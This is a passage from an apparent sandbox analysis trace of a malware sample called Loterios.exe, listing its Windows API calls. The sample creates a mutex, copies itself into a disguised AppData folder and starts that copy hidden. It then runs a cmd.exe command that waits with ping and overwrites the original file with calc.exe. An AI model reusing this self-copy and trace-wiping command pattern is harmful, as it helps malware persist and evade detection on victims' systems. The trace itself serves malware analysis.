(lpFileName="C:\\BlotRots\\Loterios.exe.cfg" (normalized: "c:\\blotrots\\loterios.exe.cfg")) returned 0xffffffff [0248.750] lstrlenA (lpString="C") returned 1 [0248.750] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff960 | out: hHeap=0x2180000) returned 1 [0248.750] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0xea60) returned 0x0 [0248.750] ReleaseMutex (hMutex=0x2c0) returned 1 [0248.750] _vsnprintf (in: _DstBuf=0x19f8c4, _MaxCount=0x7, _Format="%u", _ArgList=0x19f8b0 | out: _DstBuf="2") returned 1 [0248.750] lstrlenA (lpString="2") returned 1 [0248.750] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0xea60) returned 0x0 [0248.750] lstrlenA (lpString="2") returned 1 [0248.750] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x3) returned 0x21fffd0 [0248.750] ReleaseMutex (hMutex=0x2c0) returned 1 [0248.750] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0xea60) returned 0x0 [0248.750] ReleaseMutex (hMutex=0x2c0) returned 1 [0248.750] GetLocalTime (in: lpSystemTime=0x19f818 | out: lpSystemTime=0x19f818*(wYear=0x7e4, wMonth=0x8, wDayOfWeek=0x1, wDay=0x11, wHour=0xc, wMinute=0x5, wSecond=0x17, wMilliseconds=0x182)) [0248.750] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x1e) returned 0x21ff778 [0248.750] _vsnprintf (in: _DstBuf=0x19f82c, _MaxCount=0x7f, _Format="%02u.%02u.%02u-%02u/%02u/%04u", _ArgList=0x19f7fc | out: _DstBuf="12.05.23-17/08/2020") returned 19 [0248.750] lstrlenA (lpString="%02u.%02u.%02u-%02u/%02u/%04u") returned 29 [0248.750] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff778 | out: hHeap=0x2180000) returned 1 [0248.750] lstrlenA (lpString="12.05.23-17/08/2020") returned 19 [0248.750] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0xea60) returned 0x0 [0248.750] lstrlenA (lpString="12.05.23-17/08/2020") returned 19 [0248.750] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x15) returned 0x21ff778 [0248.750] ReleaseMutex (hMutex=0x2c0) returned 1 [0248.750] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19f7b4 | out: lpSystemTimeAsFileTime=0x19f7b4*(dwLowDateTime=0xec0a9fbb, dwHighDateTime=0x1d6747d)) [0248.750] _vsnprintf (in: _DstBuf=0x19f7c8, _MaxCount=0x3f, _Format="%u", _ArgList=0x19f7c0 | out: _DstBuf="1597658723") returned 10 [0248.750] lstrlenA (lpString="1597658723") returned 10 [0248.750] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0xea60) returned 0x0 [0248.751] lstrlenA (lpString="1597658723") returned 10 [0248.751] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xc) returned 0x21ffaf8 [0248.751] ReleaseMutex (hMutex=0x2c0) returned 1 [0248.751] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0xea60) returned 0x0 [0248.751] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat") returned 64 [0248.751] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x42) returned 0x21ff960 [0248.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat", cchWideChar=-1, lpMultiByteStr=0x21ff960, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat", lpUsedDefaultChar=0x0) returned 65 [0248.751] lstrlenA (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat") returned 64 [0248.751] CharUpperBuffA (in: lpsz="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat", cchLength=0x40 | out: lpsz="C:\\USERS\\FD1HVY\\APPDATA\\ROAMING\\MICROSOFT\\QIEEYREKUC\\XAFPQKO.DAT") returned 0x40 [0248.751] lstrlenA (lpString="C:\\USERS\\FD1HVY\\APPDATA\\ROAMING\\MICROSOFT\\QIEEYREKUC\\XAFPQKO.DAT") returned 64 [0248.751] lstrlenA (lpString="user32.dll") returned 10 [0248.751] lstrlenA (lpString="user32.dll") returned 10 [0248.751] lstrlenA (lpString="user32.dll") returned 10 [0248.751] lstrlenA (lpString="user32.dll") returned 10 [0248.751] lstrlenA (lpString="user32.dll") returned 10 [0248.751] lstrlenA (lpString="user32.dll") returned 10 [0248.751] lstrlenA (lpString="user32.dll") returned 10 [0248.752] lstrlenA (lpString="user32.dll") returned 10 [0248.752] lstrlenA (lpString="user32.dll") returned 10 [0248.752] lstrlenA (lpString="user32.dll") returned 10 [0248.752] lstrlenA (lpString="user32.dll") returned 10 [0248.752] lstrlenA (lpString="user32.dll") returned 10 [0248.752] lstrlenA (lpString="user32.dll") returned 10 [0248.752] lstrlenA (lpString="user32.dll") returned 10 [0248.752] lstrlenA (lpString="user32.dll") returned 10 [0248.752] lstrlenA (lpString="user32.dll") returned 10 [0248.752] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x47) returned 0x26f0970 [0248.752] _vsnprintf (in: _DstBuf=0x19ee74, _MaxCount=0x28, _Format="{%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X}", _ArgList=0x19edf4 | out: _DstBuf="{4D1D9C61-769F-4781-A3DF-A2E3ACFF6A77}") returned 38 [0248.752] lstrlenA (lpString="{%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X}") returned 70 [0248.752] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x26f0970 | out: hHeap=0x2180000) returned 1 [0248.752] lstrlenA (lpString="Global\\") returned 7 [0248.752] lstrlenA (lpString="{4D1D9C61-769F-4781-A3DF-A2E3ACFF6A77}") returned 38 [0248.752] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x2e) returned 0x26f0970 [0248.752] lstrcatA (in: lpString1="", lpString2="Global\\" | out: lpString1="Global\\") returned="Global\\" [0248.752] lstrcatA (in: lpString1="Global\\", lpString2="{4D1D9C61-769F-4781-A3DF-A2E3ACFF6A77}" | out: lpString1="Global\\{4D1D9C61-769F-4781-A3DF-A2E3ACFF6A77}") returned="Global\\{4D1D9C61-769F-4781-A3DF-A2E3ACFF6A77}" [0248.752] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="Global\\{4D1D9C61-769F-4781-A3DF-A2E3ACFF6A77}") returned 0x2ec [0248.752] GetLastError () returned 0x0 [0248.752] lstrlenA (lpString="Global\\{4D1D9C61-769F-4781-A3DF-A2E3ACFF6A77}") returned 45 [0248.752] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x26f0970 | out: hHeap=0x2180000) returned 1 [0248.752] lstrlenA (lpString="C:\\USERS\\FD1HVY\\APPDATA\\ROAMING\\MICROSOFT\\QIEEYREKUC\\XAFPQKO.DAT") returned 64 [0248.752] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff960 | out: hHeap=0x2180000) returned 1 [0248.752] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\qieeyrekuc\\xafpqko.dat")) returned 0xffffffff [0248.752] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x448) returned 0x26f0970 [0248.752] lstrcpynW (in: lpString1=0x26f0970, lpString2="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat", iMaxLength=512 | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat" [0248.753] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x100000) returned 0x27f0020 [0248.755] lstrlenA (lpString="xafpqko") returned 7 [0248.755] _vsnprintf (in: _DstBuf=0x19f838, _MaxCount=0x40, _Format="%u", _ArgList=0x19f830 | out: _DstBuf="11") returned 2 [0248.755] lstrlenA (lpString="11") returned 2 [0248.755] lstrlenA (lpString="2") returned 1 [0248.756] _vsnprintf (in: _DstBuf=0x19f838, _MaxCount=0x40, _Format="%u", _ArgList=0x19f830 | out: _DstBuf="1") returned 1 [0248.756] lstrlenA (lpString="1") returned 1 [0248.756] lstrlenA (lpString="12.05.23-17/08/2020") returned 19 [0248.756] _vsnprintf (in: _DstBuf=0x19f838, _MaxCount=0x40, _Format="%u", _ArgList=0x19f830 | out: _DstBuf="2") returned 1 [0248.756] lstrlenA (lpString="2") returned 1 [0248.756] lstrlenA (lpString="1597658723") returned 10 [0248.756] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x3f) returned 0x21ff960 [0248.756] lstrlenA (lpString="kernel32.dll") returned 12 [0248.756] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\qieeyrekuc\\xafpqko.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0248.756] WriteFile (in: hFile=0x2f0, lpBuffer=0x21ff960*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x19f728, lpOverlapped=0x0 | out: lpBuffer=0x21ff960*, lpNumberOfBytesWritten=0x19f728*=0x3f, lpOverlapped=0x0) returned 1 [0248.757] CloseHandle (hObject=0x2f0) returned 1 [0248.758] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff960 | out: hHeap=0x2180000) returned 1 [0248.770] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x27f0020 | out: hHeap=0x2180000) returned 1 [0248.776] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x26f0970 | out: hHeap=0x2180000) returned 1 [0248.776] ReleaseMutex (hMutex=0x2c0) returned 1 [0248.780] ReleaseMutex (hMutex=0x2ec) returned 1 [0248.780] CloseHandle (hObject=0x2ec) returned 1 [0248.780] lstrlenA (lpString="9") returned 1 [0248.780] CopyFileW (lpExistingFileName="C:\\BlotRots\\Loterios.exe" (normalized: "c:\\blotrots\\loterios.exe"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\qieeyrekuc\\xafpqko.exe"), bFailIfExists=0) returned 1 [0248.831] Sleep (dwMilliseconds=0x1388) [0253.846] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\qieeyrekuc\\xafpqko.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0253.847] GetFileSize (in: hFile=0x2ec, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xd27b8 [0253.847] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xd27b9) returned 0x27fd020 [0253.850] ReadFile (in: hFile=0x2ec, lpBuffer=0x27fd020, nNumberOfBytesToRead=0xd27b8, lpNumberOfBytesRead=0x19f844, lpOverlapped=0x0 | out: lpBuffer=0x27fd020*, lpNumberOfBytesRead=0x19f844*=0xd27b8, lpOverlapped=0x0) returned 1 [0253.862] ReadFile (in: hFile=0x2ec, lpBuffer=0x28cf7d8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x19f844, lpOverlapped=0x0 | out: lpBuffer=0x28cf7d8*, lpNumberOfBytesRead=0x19f844*=0x0, lpOverlapped=0x0) returned 1 [0253.863] CloseHandle (hObject=0x2ec) returned 1 [0253.863] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x27fd020 | out: hHeap=0x2180000) returned 1 [0253.867] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x264) returned 0x26f0970 [0253.867] lstrlenA (lpString="xafpqko") returned 7 [0253.867] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x1b) returned 0x21ff960 [0253.867] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xb) returned 0x21ffb40 [0253.867] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0253.867] lstrlenA (lpString="user32.dll") returned 10 [0253.868] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0253.868] lstrlenA (lpString="user32.dll") returned 10 [0253.868] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0253.868] lstrlenA (lpString="user32.dll") returned 10 [0253.868] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0253.868] lstrlenA (lpString="user32.dll") returned 10 [0253.868] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0253.868] lstrlenA (lpString="user32.dll") returned 10 [0253.868] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0253.868] lstrlenA (lpString="user32.dll") returned 10 [0253.868] lstrlenA (lpString="1234567890") returned 10 [0253.868] lstrlenA (lpString="user32.dll") returned 10 [0253.868] lstrlenA (lpString="1234567890") returned 10 [0253.868] lstrlenA (lpString="user32.dll") returned 10 [0253.868] lstrlenA (lpString="1234567890") returned 10 [0253.868] lstrlenA (lpString="user32.dll") returned 10 [0253.868] lstrlenA (lpString="1234567890") returned 10 [0253.868] lstrlenA (lpString="user32.dll") returned 10 [0253.868] lstrlenA (lpString="1234567890") returned 10 [0253.868] lstrlenA (lpString="user32.dll") returned 10 [0253.868] lstrlenA (lpString="1234567890") returned 10 [0253.868] lstrlenA (lpString="user32.dll") returned 10 [0253.868] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0253.868] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff960 | out: hHeap=0x2180000) returned 1 [0253.868] lstrlenA (lpString="1234567890") returned 10 [0253.868] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffb40 | out: hHeap=0x2180000) returned 1 [0253.868] lstrlenA (lpString="tqiffy725810") returned 12 [0253.869] lstrlenA (lpString="user32.dll") returned 10 [0253.869] lstrlenA (lpString="user32.dll") returned 10 [0253.869] lstrlenA (lpString="user32.dll") returned 10 [0253.869] lstrlenA (lpString="user32.dll") returned 10 [0253.869] lstrlenA (lpString="user32.dll") returned 10 [0253.869] lstrlenA (lpString="user32.dll") returned 10 [0253.869] lstrlenA (lpString="user32.dll") returned 10 [0253.869] lstrlenA (lpString="user32.dll") returned 10 [0253.869] lstrlenA (lpString="user32.dll") returned 10 [0253.869] lstrlenA (lpString="user32.dll") returned 10 [0253.869] lstrlenA (lpString="user32.dll") returned 10 [0253.869] lstrlenA (lpString="user32.dll") returned 10 [0253.869] lstrlenA (lpString="user32.dll") returned 10 [0253.869] lstrlenA (lpString="user32.dll") returned 10 [0253.869] lstrlenA (lpString="user32.dll") returned 10 [0253.869] lstrlenA (lpString="user32.dll") returned 10 [0253.869] lstrlenA (lpString="user32.dll") returned 10 [0253.869] lstrlenA (lpString="user32.dll") returned 10 [0253.869] lstrlenA (lpString="user32.dll") returned 10 [0253.869] lstrlenA (lpString="user32.dll") returned 10 [0253.869] lstrlenA (lpString="user32.dll") returned 10 [0253.869] lstrlenA (lpString="user32.dll") returned 10 [0253.869] lstrlenA (lpString="user32.dll") returned 10 [0253.869] lstrlenA (lpString="user32.dll") returned 10 [0253.869] lstrlenA (lpString="user32.dll") returned 10 [0253.869] lstrlenA (lpString="user32.dll") returned 10 [0253.869] lstrlenA (lpString="user32.dll") returned 10 [0253.869] lstrlenA (lpString="user32.dll") returned 10 [0253.869] lstrlenA (lpString="user32.dll") returned 10 [0253.869] lstrlenA (lpString="user32.dll") returned 10 [0253.869] lstrlenA (lpString="user32.dll") returned 10 [0253.870] lstrlenA (lpString="user32.dll") returned 10 [0253.870] lstrlenA (lpString="user32.dll") returned 10 [0253.870] lstrlenA (lpString="user32.dll") returned 10 [0253.870] lstrlenA (lpString="user32.dll") returned 10 [0253.870] lstrlenA (lpString="user32.dll") returned 10 [0253.870] lstrlenA (lpString="user32.dll") returned 10 [0253.870] lstrlenA (lpString="user32.dll") returned 10 [0253.870] lstrlenA (lpString="user32.dll") returned 10 [0253.870] lstrlenA (lpString="user32.dll") returned 10 [0253.870] lstrlenA (lpString="user32.dll") returned 10 [0253.870] lstrlenA (lpString="user32.dll") returned 10 [0253.870] lstrlenA (lpString="user32.dll") returned 10 [0253.870] lstrlenA (lpString="user32.dll") returned 10 [0253.870] lstrlenA (lpString="user32.dll") returned 10 [0253.870] lstrlenA (lpString="user32.dll") returned 10 [0253.870] lstrlenA (lpString="user32.dll") returned 10 [0253.870] lstrlenA (lpString="user32.dll") returned 10 [0253.870] lstrlenA (lpString="user32.dll") returned 10 [0253.870] lstrlenA (lpString="user32.dll") returned 10 [0253.870] lstrlenA (lpString="user32.dll") returned 10 [0253.870] lstrlenA (lpString="user32.dll") returned 10 [0253.870] lstrlenA (lpString="user32.dll") returned 10 [0253.870] lstrlenA (lpString="user32.dll") returned 10 [0253.870] lstrlenA (lpString="user32.dll") returned 10 [0253.870] lstrcpyW (in: lpString1=0x19fc04, lpString2="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe" [0253.870] lstrcpyA (in: lpString1=0x19fe14, lpString2="xafpqko" | out: lpString1="xafpqko") returned="xafpqko" [0253.870] ReleaseMutex (hMutex=0x2e8) returned 1 [0253.870] CloseHandle (hObject=0x2e8) returned 1 [0253.871] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fb74*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x19fbb8 | out: lpCommandLine="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe", lpProcessInformation=0x19fbb8*(hProcess=0x2ec, hThread=0x2e8, dwProcessId=0x1348, dwThreadId=0x1274)) returned 1 [0253.920] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xa) returned 0x21ffb88 [0253.920] lstrlenW (lpString="C:\\BlotRots\\Loterios.exe") returned 24 [0253.920] lstrlenW (lpString=".cfg") returned 4 [0253.920] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x3a) returned 0x21ff960 [0253.920] lstrcatW (in: lpString1="", lpString2="C:\\BlotRots\\Loterios.exe" | out: lpString1="C:\\BlotRots\\Loterios.exe") returned="C:\\BlotRots\\Loterios.exe" [0253.920] lstrcatW (in: lpString1="C:\\BlotRots\\Loterios.exe", lpString2=".cfg" | out: lpString1="C:\\BlotRots\\Loterios.exe.cfg") returned="C:\\BlotRots\\Loterios.exe.cfg" [0253.920] GetFileAttributesW (lpFileName="C:\\BlotRots\\Loterios.exe.cfg" (normalized: "c:\\blotrots\\loterios.exe.cfg")) returned 0xffffffff [0253.920] lstrlenW (lpString="C:\\BlotRots\\Loterios.exe.cfg") returned 28 [0253.920] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff960 | out: hHeap=0x2180000) returned 1 [0253.920] lstrlenA (lpString=".") returned 1 [0253.920] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffb88 | out: hHeap=0x2180000) returned 1 [0253.920] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x84) returned 0x26f0be0 [0253.921] _vsnwprintf (in: _Buffer=0x19fc58, _BufferCount=0x100, _Format=" /c ping.exe -n 6 127.0.0.1 & type \"%s\\System32\\calc.exe\" > \"%s\"", _ArgList=0x19fc48 | out: _Buffer=" /c ping.exe -n 6 127.0.0.1 & type \"C:\\WINDOWS\\System32\\calc.exe\" > \"C:\\BlotRots\\Loterios.exe\"") returned 95 [0253.921] lstrlenA (lpString=" ") returned 1 [0253.921] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x26f0be0 | out: hHeap=0x2180000) returned 1 [0253.921] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x10) returned 0x21ffac8 [0253.921] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="cmd.exe", lpParameters=" /c ping.exe -n 6 127.0.0.1 & type \"C:\\WINDOWS\\System32\\calc.exe\" > \"C:\\BlotRots\\Loterios.exe\"", lpDirectory=0x0, nShowCmd=0) returned 0x2a [0267.362] lstrlenA (lpString="c") returned 1 [0267.362] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffac8 | out: hHeap=0x2180000) returned 1 [0267.362] ExitProcess (uExitCode=0x0) Thread: id = 330 os_tid = 0xee8 Thread: id = 355 os_tid = 0xf54 Thread: id = 356 os_tid = 0xe28 Thread: id = 357 os_tid = 0xf48 Thread: id = 358 os_tid = 0xa34 Thread: id = 359 os_tid = 0x9e8 Thread: id = 360 os_tid = 0x2c0 Process: id = "20" image_name = "timeout.exe" filename = "c:\\windows\\system32\\timeout.exe" page_root = "0xfe5a000" os_pid = "0x12a0" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x13f0" cmd_line = "TIMEOUT /T 10 " cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010927" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 336 os_tid = 0x12a8 [0234.085] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff78cda0000 [0234.085] __set_app_type (_Type=0x1) [0234.085] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff78cda5440) returned 0x0 [0234.085] __wgetmainargs (in: _Argc=0x7ff78cda8028, _Argv=0x7ff78cda8030, _Env=0x7ff78cda8038, _DoWildCard=0, _StartInfo=0x7ff78cda8044 | out: _Argc=0x7ff78cda8028, _Argv=0x7ff78cda8030, _Env=0x7ff78cda8038) returned 0 [0234.086] SetThreadUILanguage (LangId=0x0) returned 0x409 [0234.089] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0234.089] SetLastError (dwErrCode=0x0) [0234.089] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0234.089] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0234.089] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0234.089] RtlVerifyVersionInfo (VersionInfo=0xe73209f040, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0234.090] GetProcessHeap () returned 0x2ad3cfb0000 [0234.090] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x18) returned 0x2ad3cfc1b50 [0234.090] lstrlenW (lpString="") returned 0 [0234.090] GetProcessHeap () returned 0x2ad3cfb0000 [0234.090] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x2) returned 0x2ad3cfc1110 [0234.090] GetProcessHeap () returned 0x2ad3cfb0000 [0234.090] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x20) returned 0x2ad3cfbe8d0 [0234.090] GetProcessHeap () returned 0x2ad3cfb0000 [0234.090] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x18) returned 0x2ad3cfc1690 [0234.090] GetProcessHeap () returned 0x2ad3cfb0000 [0234.090] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x20) returned 0x2ad3cfbee10 [0234.090] GetProcessHeap () returned 0x2ad3cfb0000 [0234.090] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x20) returned 0x2ad3cfbe870 [0234.090] GetProcessHeap () returned 0x2ad3cfb0000 [0234.090] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x20) returned 0x2ad3cfbecf0 [0234.090] GetProcessHeap () returned 0x2ad3cfb0000 [0234.090] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x20) returned 0x2ad3cfbe900 [0234.090] GetProcessHeap () returned 0x2ad3cfb0000 [0234.090] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x18) returned 0x2ad3cfc1ad0 [0234.090] GetProcessHeap () returned 0x2ad3cfb0000 [0234.090] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x20) returned 0x2ad3cfbe720 [0234.090] GetProcessHeap () returned 0x2ad3cfb0000 [0234.090] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x20) returned 0x2ad3cfbee70 [0234.090] GetProcessHeap () returned 0x2ad3cfb0000 [0234.090] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x20) returned 0x2ad3cfbed20 [0234.091] GetProcessHeap () returned 0x2ad3cfb0000 [0234.091] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x20) returned 0x2ad3cfbe8a0 [0234.091] GetProcessHeap () returned 0x2ad3cfb0000 [0234.091] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x18) returned 0x2ad3cfc1850 [0234.091] GetProcessHeap () returned 0x2ad3cfb0000 [0234.091] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x20) returned 0x2ad3cfbe9c0 [0234.091] GetProcessHeap () returned 0x2ad3cfb0000 [0234.091] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x20) returned 0x2ad3cfbe810 [0234.091] GetProcessHeap () returned 0x2ad3cfb0000 [0234.091] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x20) returned 0x2ad3cfbe9f0 [0234.091] GetProcessHeap () returned 0x2ad3cfb0000 [0234.091] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x20) returned 0x2ad3cfbee40 [0234.091] SetThreadUILanguage (LangId=0x0) returned 0x409 [0234.091] SetLastError (dwErrCode=0x0) [0234.091] GetProcessHeap () returned 0x2ad3cfb0000 [0234.091] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x20) returned 0x2ad3cfbe930 [0234.091] GetProcessHeap () returned 0x2ad3cfb0000 [0234.091] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x20) returned 0x2ad3cfbebd0 [0234.091] GetProcessHeap () returned 0x2ad3cfb0000 [0234.091] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x20) returned 0x2ad3cfbe7e0 [0234.091] GetProcessHeap () returned 0x2ad3cfb0000 [0234.092] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x20) returned 0x2ad3cfbea20 [0234.092] GetProcessHeap () returned 0x2ad3cfb0000 [0234.092] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x20) returned 0x2ad3cfbeb70 [0234.092] GetProcessHeap () returned 